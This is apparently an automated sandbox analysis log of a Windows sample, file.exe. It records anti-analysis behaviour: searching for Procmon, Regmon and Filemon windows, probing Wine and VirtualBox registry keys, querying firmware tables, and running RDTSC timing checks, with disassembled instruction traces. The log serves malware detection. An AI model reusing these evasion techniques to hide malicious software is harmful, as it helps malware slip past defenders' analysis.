Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5151E second address: D51523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51523 second address: D51529 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51529 second address: D51541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B62D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D51541 second address: D51547 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B57B second address: D6B580 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B580 second address: D6B585 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B585 second address: D6B591 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B591 second address: D6B597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B597 second address: D6B5BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F9CAD0B62C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F9CAD0B62D7h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B5BD second address: D6B5CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jng 00007F9CAD0B9FC6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B79E second address: D6B7A4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B7A4 second address: D6B7AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B7AA second address: D6B7AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6B7AE second address: D6B7B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BA45 second address: D6BA49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BA49 second address: D6BA6C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F9CAD0B9FD9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c pushad 0x0000000d popad 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BA6C second address: D6BA8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F9CAD0B62C6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BA8B second address: D6BA9E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BA9E second address: D6BAA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BC0D second address: D6BC13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BC13 second address: D6BC28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 popad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f jp 00007F9CAD0B62C6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BC28 second address: D6BC43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BD69 second address: D6BD77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 jng 00007F9CAD0B62C6h 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6BF38 second address: D6BF3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EE06 second address: D6EE28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edi 0x0000000d mov dword ptr [ebp+122D17A8h], edi 0x00000013 pop edx 0x00000014 call 00007F9CAD0B62C9h 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EE28 second address: D6EE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EE2E second address: D6EE33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EE33 second address: D6EE7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F9CAD0B9FC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push edi 0x00000011 jmp 00007F9CAD0B9FD3h 0x00000016 pop edi 0x00000017 push edi 0x00000018 jmp 00007F9CAD0B9FD7h 0x0000001d pop edi 0x0000001e popad 0x0000001f mov eax, dword ptr [esp+04h] 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 push esi 0x00000028 pop esi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EE7C second address: D6EE86 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9CAD0B62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EE86 second address: D6EEB9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnc 00007F9CAD0B9FCAh 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jns 00007F9CAD0B9FC6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EEB9 second address: D6EECD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EECD second address: D6EF64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a jbe 00007F9CAD0B9FCCh 0x00000010 mov dword ptr [ebp+122D17B8h], eax 0x00000016 mov esi, dword ptr [ebp+122D293Ah] 0x0000001c push 00000003h 0x0000001e pushad 0x0000001f add eax, 707285CFh 0x00000025 popad 0x00000026 push 00000000h 0x00000028 mov edi, ecx 0x0000002a push 00000003h 0x0000002c mov dword ptr [ebp+122D17F8h], edx 0x00000032 xor dword ptr [ebp+122D1C31h], eax 0x00000038 push 7CD754BDh 0x0000003d jmp 00007F9CAD0B9FD6h 0x00000042 add dword ptr [esp], 4328AB43h 0x00000049 push eax 0x0000004a cmc 0x0000004b pop esi 0x0000004c lea ebx, dword ptr [ebp+12459D09h] 0x00000052 adc esi, 1EE609C0h 0x00000058 xchg eax, ebx 0x00000059 jmp 00007F9CAD0B9FD4h 0x0000005e push eax 0x0000005f pushad 0x00000060 jng 00007F9CAD0B9FC8h 0x00000066 push edx 0x00000067 pop edx 0x00000068 jno 00007F9CAD0B9FCCh 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EFBF second address: D6EFC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EFC6 second address: D6F013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 je 00007F9CAD0B9FCCh 0x0000000f pop esi 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F9CAD0B9FC8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D1D7Fh], edx 0x00000033 call 00007F9CAD0B9FC9h 0x00000038 push ecx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F013 second address: D6F017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F017 second address: D6F039 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007F9CAD0B9FD2h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F1E8 second address: D6F1EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F1EC second address: D6F1FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F1FA second address: D6F200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F200 second address: D6F204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F204 second address: D6F22D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jne 00007F9CAD0B62C6h 0x00000015 jbe 00007F9CAD0B62C6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6F22D second address: D6F237 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F9CAD0B9FC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D549CC second address: D549D6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9CAD0B62C6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E344 second address: D8E348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E49F second address: D8E4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E4A3 second address: D8E4A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E4A9 second address: D8E4CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b jmp 00007F9CAD0B62D2h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E61E second address: D8E63D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F9CAD0B9FC6h 0x0000000a popad 0x0000000b jmp 00007F9CAD0B9FD4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E63D second address: D8E649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnl 00007F9CAD0B62C6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E649 second address: D8E64D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E902 second address: D8E91A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9CAD0B62CCh 0x00000008 push esi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8E91A second address: D8E930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jc 00007F9CAD0B9FCCh 0x0000000d jl 00007F9CAD0B9FC6h 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EAAB second address: D8EAE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D4h 0x00000007 jng 00007F9CAD0B62C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 push edi 0x00000011 push eax 0x00000012 push esi 0x00000013 pop esi 0x00000014 jmp 00007F9CAD0B62CBh 0x00000019 pop eax 0x0000001a jl 00007F9CAD0B62CCh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EC66 second address: D8EC7F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F9CAD0B9FCDh 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EDE2 second address: D8EDEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EDEA second address: D8EE07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F9CAD0B9FD2h 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EE07 second address: D8EE18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B62CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EE18 second address: D8EE38 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9CAD0B9FC6h 0x00000008 jmp 00007F9CAD0B9FCFh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EE38 second address: D8EE53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B62D6h 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F2AE second address: D8F2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F2B4 second address: D8F2BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F725 second address: D8F735 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F9CAD0B9FC6h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F735 second address: D8F73B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F73B second address: D8F74D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F9CAD0B9FC8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8F74D second address: D8F75A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F9CAD0B62C6h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8FF92 second address: D8FF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D903F3 second address: D90421 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CCh 0x00000007 jp 00007F9CAD0B62C6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop ecx 0x00000010 jnp 00007F9CAD0B62DCh 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push esi 0x0000001f jnl 00007F9CAD0B62C6h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93116 second address: D93127 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9CAD0B9FC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93531 second address: D9353B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9CAD0B62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9353B second address: D9354A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B9FCBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91FFB second address: D91FFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D95615 second address: D95619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EACC second address: D5EB04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B62D7h 0x00000009 jmp 00007F9CAD0B62D6h 0x0000000e ja 00007F9CAD0B62C6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D5EB04 second address: D5EB54 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnp 00007F9CAD0B9FFCh 0x0000000f push eax 0x00000010 je 00007F9CAD0B9FC6h 0x00000016 jmp 00007F9CAD0B9FD9h 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F9CAD0B9FCDh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AA35 second address: D9AA62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B62D6h 0x00000009 popad 0x0000000a jng 00007F9CAD0B62E8h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AA62 second address: D9AA72 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FCCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
